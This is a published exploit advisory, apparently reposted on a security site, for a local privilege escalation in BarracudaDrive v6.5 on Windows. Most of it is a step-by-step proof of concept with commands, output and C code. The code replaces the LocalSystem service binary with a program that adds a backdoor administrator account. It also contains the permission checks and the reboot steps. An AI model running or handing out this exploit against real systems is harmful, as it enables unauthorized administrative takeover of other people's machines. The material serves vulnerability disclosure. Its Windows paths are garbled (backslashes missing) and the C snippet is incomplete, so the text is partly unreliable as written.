BarracudaDrive v6.5 – Insecure Folder Permissions – Digitalmunition

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Published on September 3rd, 2020 📆 | 8287 Views ⚑


BarracudaDrive v6.5 – Insecure Folder Permissions

# Exploit Title: BarracudaDrive v6.5 - Insecure Folder Permissions
# Exploit Author:  Bobby Cooke (boku) & Adeeb Shah (@hyd3sec) 
# Date: 2020-09-01
# Vendor Homepage:
# Software Link:
# Version:         v6.5
# Tested On:       Windows 10 Pro 
# CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0
#     CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
#         CWE-276: Incorrect Default Permissions
#         CWE-732: Incorrect Permission Assignment for Critical Resource
# Vulnerability Description:
#     Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5 
#   allows local low-privilege attacker to escalate privileges to admin via replacing the bd.exe 
#   file and restarting the computer where the malicious code will be executed as 'LocalSystem'
#   on the next startup.

## Insecure Folder Permission
C:>cacls C:bd
C:bd BUILTINAdministrators:(OI)(CI)(ID)F
      NT AUTHORITYAuthenticated Users:(ID)C
      NT AUTHORITYAuthenticated Users:(OI)(CI)(IO)(ID)C

## Insecure File/Service Permission
C:>cacls C:bdbd.exe
C:bdbd.exe BUILTINAdministrators:(ID)F
             NT AUTHORITYAuthenticated Users:(ID)C

C:>sc qc bd
[SC] QueryServiceConfig SUCCESS

        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:bdbd.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : BarracudaDrive ( bd ) service
        DEPENDENCIES       : Tcpip
        SERVICE_START_NAME : LocalSystem

## Local Privilege Escalation Proof of Concept
#0.  Download & install 

#1.  Create low privileged user & change to the user
## As admin
C:>net user lowpriv Password123! /add
C:>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"
User name                    lowpriv
Local Group Memberships      *Users
Global Group memberships     *None

#2.  Move the Service EXE to a new name
C:bd>move bd.exe bd.service.exe
        1 file(s) moved.

#3.  Create malicious binary on kali linux
## Add Admin User C Code
   kali# cat addAdmin.c
     int main(void){
     system("net user boku mypassword /add");
     system("net localgroup Administrators boku /add");
    return 0;

## Compile Code
   kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe

#4. Transfer created 'bd.exe' to the Windows Host 

#5. Move the created 'bd.exe' binary to the 'C:bd' Folder
C:bd>move C:UserslowprivDownloadsbd.exe .

#6. Check that exploit admin user doesn't exit
C:bd>net user boku
The user name could not be found

#6. Reboot the Computer
C:bd>shutdown /r

#7. Login & look at that new Admin
C:Userslowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"
User name                    boku
Local Group Memberships      *Administrators       *Users
Global Group memberships     *None

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